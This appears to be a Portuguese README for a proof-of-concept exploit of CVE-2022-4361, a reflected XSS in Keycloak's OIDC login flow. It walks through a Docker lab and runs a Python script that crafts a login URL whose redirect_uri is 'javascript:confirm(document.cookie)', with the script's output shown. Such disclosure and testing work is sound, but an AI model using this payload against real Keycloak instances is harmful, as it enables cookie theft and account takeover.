
Prova de conceito de exploit para CVE-2022-4361, uma vulnerabilidade de XSS refletido no fluxo de autenticação OIDC do Keycloak, com ambiente de teste baseado em Docker e script de exploit em Python.
Este repositório contém um PoC para CVE-2022-4361.
Todos os créditos vão para o autor original da descoberta, mulliken;
IMPORTANTE: este PoC não está completo pois não cobre o caso do valor AssertionConsumerServiceURL no protocolo de autenticação SAML. Atualmente, apenas o caso OIDC é coberto.
git clone https://github.com/faccimatteo/CVE-2022-4361.git && cd ./CVE-2022-4361
docker compose up -d
Aguarde até que a infraestrutura esteja disponível e acessível.
Já que neste PoC o Keycloak não está integrado com nenhuma aplicação web, é necessário especificar a URL completa de autenticação do Keycloak (após o realm de teste ter sido configurado corretamente).
A vulnerabilidade neste ambiente de teste pode ser testada com a seguinte URL.
python3 ./CVE-2022-4361.py --url http://localhost:8080/realms/test-realm/protocol/openid-connect/auth\?client_id\=test-client\&redirect_uri\=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F\&state\=f0cd8010-72b1-476d-823a-b72e2106db1d\&response_mode\=fragment\&response_type\=code\&scope\=openid\&nonce\=eb117e13-b09e-49b1-a086-3ebb69d6ca3d\&code_challenge\=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w\&code_challenge_method\=S256
[+] Detected Keycloak OIDC configuration in the authentication flow for http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=fragment&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256.
[+] Crafted malicious Keycloak authentication URL: http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=javascript:confirm(document.cookie)&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=form_post&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256
[+] The Keycloak instance used by the target is likely to be VULNERABLE to CVE-2022-4361!
[*] Opening malicious login page in your default web browser...
Uma janela do navegador será aberta com a página de login maliciosa, conforme visível na captura de tela abaixo.

Quando uma vítima fornece credenciais válidas (disponíveis em keycloak-config/test-realm.json) e clica no botão Sign In, o ataque de XSS refletido será entregue.
Vale notar que o ataque é bem-sucedido mesmo se a vítima já tiver feito login na aplicação.

* para redirect_uri em ambientes de produção.Atualmente, este PoC cobre apenas o caso do Keycloak ser configurado usando um fluxo de autenticação OIDC.
Nas próximas versões, o protocolo de autenticação SAML será introduzido.